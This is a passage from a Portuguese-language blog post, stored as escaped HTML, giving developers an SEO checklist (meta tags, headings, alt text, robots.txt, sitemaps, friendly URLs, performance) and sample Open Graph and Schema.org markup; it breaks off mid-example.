    style=&quot;padding-bottom: 62.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFAv/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAABZm5VubJPD//EABoQAAIDAQEAAAAAAAAAAAAAAAECAAMREjL/2gAIAQEAAQUCexOarCX1TGbYnoXYP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABwQAAEDBQAAAAAAAAAAAAAAAAABECESIjJBsf/aAAgBAQAGPwKC4jhTpsUP/8QAGxABAAMBAAMAAAAAAAAAAAAAAQARIVFxgZH/2gAIAQEAAT8hZprh5m+FBK4q/aLSgD6zllRy0veT/9oADAMBAAIAAwAAABBf/wD/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAwEBPxBX/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8QR//EAB0QAQADAAMAAwAAAAAAAAAAAAEAESExQVFxgaH/2gAIAQEAAT8Q3n3JnynIf2u88IVyq28HyV24patA5v7gLugUSA64CRfxP//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem do filme Chappy&quot;
        title=&quot;Quando falam em robôs de busca, eu imagino os robôs do filme Chappie (wearemoviegeeks.com)&quot;
        src=&quot;/static/e7d3f76016d9217d81d9d9c835eb6a81/07f3a/seo-crawlers.jpg&quot;
        srcset=&quot;/static/e7d3f76016d9217d81d9d9c835eb6a81/7809d/seo-crawlers.jpg 192w,
/static/e7d3f76016d9217d81d9d9c835eb6a81/4ecad/seo-crawlers.jpg 384w,
/static/e7d3f76016d9217d81d9d9c835eb6a81/07f3a/seo-crawlers.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Quando falam em robôs de busca, eu imagino os robôs do filme Chappie (wearemoviegeeks.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O trabalho do profissional de &lt;em&gt;SEO&lt;/em&gt; tem sido fazer com que determinado conteúdo seja encontrado pelos robôs de busca, bem como que ele ganhe prioridade e relevância, dado um contexto de busca. Além disso, facilitar a indexação proporcionando um conteúdo acessível e bem estruturado faz parte desse esforço.&lt;/p&gt;
&lt;p&gt;Pode até parecer um serviço simples, mas os fatores que determinam o ranqueamento das páginas são inúmeros (como por exemplo, seu site possuir &lt;em&gt;HTTPS&lt;/em&gt; ou ser &lt;em&gt;mobile friendly&lt;/em&gt;), e nem todos são necessariamente conhecidos pelo grande público. E até mesmo os amplamente conhecidos necessitam de um trabalho rebuscado, como por exemplo, a estratégia de &lt;a href=&quot;https://moz.com/beginners-guide-to-seo/growing-popularity-and-links&quot; title=&quot;Link Building &amp;#x26; Estabilishing Authority&quot;&gt;&lt;em&gt;link building&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Otimizar é preciso?&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://resultadosdigitais.com.br&quot; title=&quot;Referência em Marketing Digital de resultado&quot;&gt;Resultados Digitais&lt;/a&gt; traz um bom argumento para continuarmos a se importar com &lt;em&gt;SEO&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A otimização de sites para mecanismos de buscas é feita para alcançar o usuário entregando a resposta que ele procura com o formato ideal, oferecendo a melhor experiência possível no ambiente da marca e seguindo as diretrizes dos buscadores.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Do ponto de vista de estratégia de &lt;em&gt;marketing&lt;/em&gt;, &lt;strong&gt;é sim&lt;/strong&gt; interessante que o conteúdo do seu site possua um público alvo bem definido, e que artifícios sejam utilizados para &quot;assegurar&quot; que o conteúdo esteja chegando a esse público. Partindo dessa ótica, o mercado de &lt;em&gt;digital&lt;/em&gt; é super aquecido e soluções vem e vão o tempo todo. Seria no mínimo inocente de nossa parte acreditar que somente ao realizar um bom trabalho técnico estamos cumprindo todas as expectativas em relação ao retorno sobre o investimento.&lt;/p&gt;
&lt;p&gt;As possibilidades vão desde a qualidade do conteúdo, &lt;em&gt;design&lt;/em&gt;, passando pela sua característica de &quot;freshness&quot; ou não, até táticas de crescimento como uso de anúncios patrocinados e viralização.&lt;/p&gt;
&lt;p&gt;Do ponto de vista de desenvolvimento de &lt;em&gt;software&lt;/em&gt;, se seguirmos as boas práticas de desenvolvimento &lt;em&gt;web&lt;/em&gt; possivelmente estaremos produzindo uma solução &quot;SEO friendly&quot;. &lt;em&gt;URLs&lt;/em&gt; amigáveis, boa performance (velocidade), &lt;em&gt;markup&lt;/em&gt; semântico, etc. São algumas das práticas &lt;em&gt;top of mind&lt;/em&gt;, mas na realidade temos algumas outras que possuem impacto de igual importância.&lt;/p&gt;
&lt;h2&gt;Checklist&lt;/h2&gt;
&lt;p&gt;Quando trabalhei no &lt;a href=&quot;https://globoesporte.globo.com/&quot; title=&quot;O site de esportes da Globo&quot;&gt;&lt;em&gt;Globoesporte.com&lt;/em&gt;&lt;/a&gt;, uma das garantias de bom resultado nos mecanismos de busca era sempre fazer um site acessível. Naquela época isso era &quot;facilmente&quot; validado com um leitor de telas, ou assegurando que pessoas com dificuldade motora pudessem navegar pelo site.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ce0597eadd26b980097f0d1aa9e17fa0/50383/seo-caps-todolist.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAADY0lEQVQozx3R728adRwH8HtsfKAP3Nw06cwSh9Na06ROTY3NNHNxUdcnJv5I22V7YN20ztmMWmsz20rbtQWuQBEO7g56HAf3CziOO+433AFHgVKK7t/xW5Pv09f3/Xl/PlAgRuF5WakfV2vHZnMgWb2ieiQaHa3Rt9tDszUAz2icaHa/anV1u09xlSsTIxc8z4+88zLkj2b9MTrF6LzsqvaJ3hywkguwYvfN1mm9/U/NPftCd07Ueg9gtqy/ce3yudefGxk7B+1EiDDGkQWrpLWLShsYuXYWXjG6Sr1faw8td6g3BprTV2pdpXbMiebopOei54VLY+ehnQPCH8sns1WCt4pq23SHADidZ43uM7vzb809tdxTozlQ633J6EhmlxWt8anR194+P/rBJWg7Quwn2ERWzguOZB2DELN5KmgdQe+U9Q4nu6AOXXZEvSPqR6LW5sT6u5+MXZl45cObb0Hb4XQoyUbTIsFZOcGhBAcwwejSYhMMArxo9gqyWwal1DanuHSlOfHxuGfi4qe3x6HNUCqMcnFSygk2K7UqZs9sDUE4GFVrDNSzqmeHAJIXdCbPk3jmxq3JV6++eO36Zci3j8MJBiFlkrfIYj1TrItGl5VbKlivfVKt9UBySXYEhhfJQ/rvUHxt2fv9d5/dev+L2+9Bf8G4P5aLZyrZYg3E0pVGrtzgqm7F7DIVh6m6XMngMKSAxvgUmgkHke2NTe9CcPXx4Y4P2giiEYyPERJOayX1iC43qJINmp9J2c1QAh2B8c0VOhoq4BgZDmJ7W6H135fmZ/ef/AYwFkzQ/2M9X3ZYqVlSO5RgI5RKcioTCUaWfgl4F+hwoIQnCdiP+P4Mr638PPuVb/E+5IOxnQMSbDvFGBm+BtZ2yBs4raaLDo5m4R/mFj6/MT99MwvvllAkd7CfhvfQva3l+blf734DbQTQrRARSZVxRqOEelFxMVrDGB1jVCzNLs7OXH/Tc/XCS/6lh0omJeAJKgKTkeDu8qMH334JrfuRNT8aQksEb8ZJGUiU0XHOEgplDg3PzN27/8B7d+beutdLxQ9ysVARjbKJaPLpxuqPd6C1XcQHp+EEj5BSMqck81oyV6WzjJQlYk+801OTiz89TKK5R38Epr++89HUVHB9tYAh+N5TeOXxfwweMBiaVImKAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Lista do Capitão América&quot;
        title=&quot;Anote aí no seu caderninho para entender a referência depois (marvelcinematicuniverse.wikia.com)&quot;
        src=&quot;/static/ce0597eadd26b980097f0d1aa9e17fa0/50383/seo-caps-todolist.png&quot;
        srcset=&quot;/static/ce0597eadd26b980097f0d1aa9e17fa0/8514f/seo-caps-todolist.png 192w,
/static/ce0597eadd26b980097f0d1aa9e17fa0/804b2/seo-caps-todolist.png 384w,
/static/ce0597eadd26b980097f0d1aa9e17fa0/50383/seo-caps-todolist.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Anote aí no seu caderninho para entender a referência depois (marvelcinematicuniverse.wikia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mas naquela época também havia todo um time de arquitetos da informação para ajudar na estruturação de conteúdo, &lt;em&gt;markup&lt;/em&gt; e rotas.&lt;/p&gt;
&lt;p&gt;Hoje em dia, além desses fundamentais aspectos, possuímos alguns outros que devem ser levados em consideração ao se construir um site ou aplicação &quot;SEO-friendly&quot;.&lt;/p&gt;
&lt;p&gt;Para me ajudar a compreender tais aspectos, utilizei o site &lt;a href=&quot;https://www.woorank.com/&quot; title=&quot;Make your site easy to find&quot;&gt;&lt;em&gt;Woorank&lt;/em&gt;&lt;/a&gt; para gerar um &lt;em&gt;checklist&lt;/em&gt; do que é necessário cumprir quando o assunto é otimização.&lt;/p&gt;
&lt;h3&gt;Markup &amp;#x26; conteúdo&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt;: É fundamental possuir a tag &lt;code class=&quot;language-text&quot;&gt;&amp;lt;title&gt;&amp;lt;/title&gt;&lt;/code&gt;, e que ela de forma concisa explique do que se trata o seu conteúdo/aplicação.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;: Com o uso da &lt;code class=&quot;language-text&quot;&gt;&amp;lt;meta name=&quot;description&quot; content=&quot;...&quot; /&gt;&lt;/code&gt; somos capazes de descrever a página e influenciar em como ela será exibida em um resultado de busca. É recomendado algo em torno de 70 e 160 caracteres, e que a descrição contenha as &lt;em&gt;keywords&lt;/em&gt; mais importantes do seu conteúdo.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;headings&lt;/code&gt;: De &lt;code class=&quot;language-text&quot;&gt;&amp;lt;h1&gt;&lt;/code&gt; a &lt;code class=&quot;language-text&quot;&gt;&amp;lt;h6&gt;&lt;/code&gt;, os títulos são uma grande forma de estruturar o seu conteúdo. Possuir as palavras-chaves mais importantes neles impacta positivamente o ranqueamento.&lt;/li&gt;
&lt;li&gt;Atributo &lt;code class=&quot;language-text&quot;&gt;alt&lt;/code&gt;: Textos alternativos são importantes para imagens. Leitores de tela usarão esse atributo para descrever a imagem para os seus usuários.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nos itens acima temos a responsabilidade dividida: Enquanto o desenvolvedor se compromete em produzir um &lt;em&gt;HTML&lt;/em&gt; válido e bem estruturado, a produção de conteúdo se compromete em produzir títulos e palavras-chaves relevantes para o assunto sendo publicado.&lt;/p&gt;
&lt;h3&gt;Gestão de URLs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Links quebrados: Um problema grave e que deve ser evitado sempre. Teoricamente abalam a reputação do seu site, e sem dúvida nenhuma prejudicam a usabilidade. Ferramentas como o &lt;a href=&quot;https://search.google.com/search-console/about&quot; title=&quot;Monitore o seu site&quot;&gt;Google SearchConsole&lt;/a&gt; são fundamentais para prevenir esse tipo de problema.&lt;/li&gt;
&lt;li&gt;Resolução &lt;code class=&quot;language-text&quot;&gt;www&lt;/code&gt;: Com o &lt;em&gt;HTTPS&lt;/em&gt;, é normal solicitarmos ao navegador do usuário o &lt;em&gt;redirect&lt;/em&gt; para a versão segura, quando o acesso é realizado via &lt;em&gt;HTTP&lt;/em&gt;. O domínio &lt;em&gt;HTTPS&lt;/em&gt; deveria ser sempre o seu &quot;preferred domain&quot;, mesmo se o usuário utilizar o prefixo &lt;code class=&quot;language-text&quot;&gt;www.&lt;/code&gt; na &lt;em&gt;URL&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;robots.txt&lt;/code&gt;: É a forma de você informar aos robôs que determinadas páginas ou diretórios não precisam ser acessados. Útil para ocultar áreas restritas ou de testes do seu site dos mecanismos de busca.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;sitemap.xml&lt;/code&gt;: Um mapa do site legível para robôs. Nele, além de especificar as &lt;em&gt;URLs&lt;/em&gt;, você também pode descrever a sua prioridade, última atualização, com qual frequência a mesma muda, etc.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;URLs amigáveis&lt;/em&gt;: &lt;em&gt;URLs&lt;/em&gt; sem &lt;em&gt;underscore&lt;/em&gt;, sem parâmetros (como &lt;code class=&quot;language-text&quot;&gt;noticia.php?id=421&lt;/code&gt;), e que de fato fazem algum sentido para o usuário. &lt;em&gt;URLs&lt;/em&gt; amigáveis são preferidas pelos mecanismos de buscas, e se pensarmos pelo &quot;humano&quot; da coisa, é mais fácil para seu público identificar e até memorizar a rota para um conteúdo. Sem contar que palavras-chave na &lt;em&gt;URL&lt;/em&gt; são um &lt;em&gt;plus&lt;/em&gt; para o ranqueamento.&lt;/li&gt;
&lt;li&gt;Domínio: Evite domínios longos. Prefira descrever alguma página levando em consideração a sua &lt;em&gt;URL&lt;/em&gt; completa (exemplo: meusite.com/produtos/camiseta).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nessa categoria temos uma presença mais técnica. Utilizar ferramentas como o &lt;em&gt;SearchConsole&lt;/em&gt; ajuda a identificar problemas com &lt;em&gt;URL&lt;/em&gt;. Ter um &lt;em&gt;CMS&lt;/em&gt; que produza &lt;em&gt;URLs&lt;/em&gt; amigáveis é mais que obrigatório, e gerenciar artefatos como &lt;code class=&quot;language-text&quot;&gt;robots.txt&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;sitemap.xml&lt;/code&gt; deve fazer parte do &lt;em&gt;pipeline&lt;/em&gt; de produção do seu conteúdo.&lt;/p&gt;
&lt;h3&gt;Outros&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;favicon&lt;/code&gt;: Faz parte da sua marca, portanto, essencial.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Assets&lt;/em&gt;: Minificados, comprimidos e cacheáveis (essa tática pode mudar caso você suporte amplamente &lt;em&gt;HTTP/2&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Performance: Relacionado com o item acima, mas com maior profundidade. Métricas como &lt;a href=&quot;https://www.searchenginepeople.com/blog/16081-time-to-first-byte-seo.html&quot; title=&quot;What Is Time To First Byte, And How To Improve It&quot;&gt;&lt;em&gt;Time to First Byte&lt;/em&gt;&lt;/a&gt; são importantes e precisam ser monitoradas. O &lt;a href=&quot;https://developers.google.com/speed/pagespeed&quot; title=&quot;PageSpeed&quot;&gt;&lt;em&gt;Google PageSpeed&lt;/em&gt;&lt;/a&gt; é fundamental nesse processo.&lt;/li&gt;
&lt;li&gt;Idioma: Especificar o idioma pode ajudar o navegador do usuário a lidar com traduções e renderização de fontes e textos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aqui é chover no molhado para quem já tem certa experiência com &lt;em&gt;web&lt;/em&gt;. Amplamente técnico, e parte de qualquer &lt;em&gt;build&lt;/em&gt; e &lt;em&gt;dashboard&lt;/em&gt; de métricas.&lt;/p&gt;
&lt;h3&gt;Conteúdo estruturado&lt;/h3&gt;
&lt;p&gt;Embora um &lt;em&gt;HTML&lt;/em&gt; bem escrito, com &lt;em&gt;tags&lt;/em&gt; da &lt;em&gt;HTML5&lt;/em&gt;, teoricamente seja o suficiente para uma boa apresentação e compreensão do conteúdo, você sempre pode dar um passo além e adicionar mais marcação que traga ainda mais significado ao seu texto.&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;https://opengraphprotocol.org&quot; title=&quot;The Open Graph protocol&quot;&gt;&lt;em&gt;Open Graph protocol&lt;/em&gt;&lt;/a&gt; é uma maneira de enriquecer o seu documento através de &lt;em&gt;markup&lt;/em&gt; simples, que acrescentam metadados e resultam em uma melhor interação com as redes sociais. Em outras palavras, são as propriedades &lt;code class=&quot;language-text&quot;&gt;og&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;prefix&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og: http://ogp.me/ns#&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;head&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;The Rock (1996)&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:title&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;The Rock&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:type&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;video.movie&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:url&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://www.imdb.com/title/tt0117500/&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://ia.media-imdb.com/images/rock.jpg&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    ...
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;head&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  ...
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dessa forma você possui maior controle sobre como o seu documento irá se &quot;comportar&quot; quando interagindo com o &lt;em&gt;Facebook&lt;/em&gt; (por exemplo). &lt;a href=&quot;https://sitechecker.pro/open-graph/&quot; title=&quot;What is Open Graph and How to Use It in Social Networks&quot;&gt;Leia mais sobre Open Graph&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Uma maneira de dar significado a cada pedaço do seu conteúdo é através do &lt;a href=&quot;https://schema.org/docs/gs.html#microdata_how&quot; title=&quot;Getting started with schema.org using Microdata&quot;&gt;Schema.org&lt;/a&gt;. Se você utilizar o vocabulário com &lt;em&gt;Microdata&lt;/em&gt;, é possível aplicar semântica com pouca alteração no seu &lt;em&gt;HTML&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;itemscope&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;itemtype&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://schema.org/Movie&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;itemprop&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Avatar&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Director: &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;itemprop&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;director&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;James Cameron&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; (born August 16,
    1954)&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
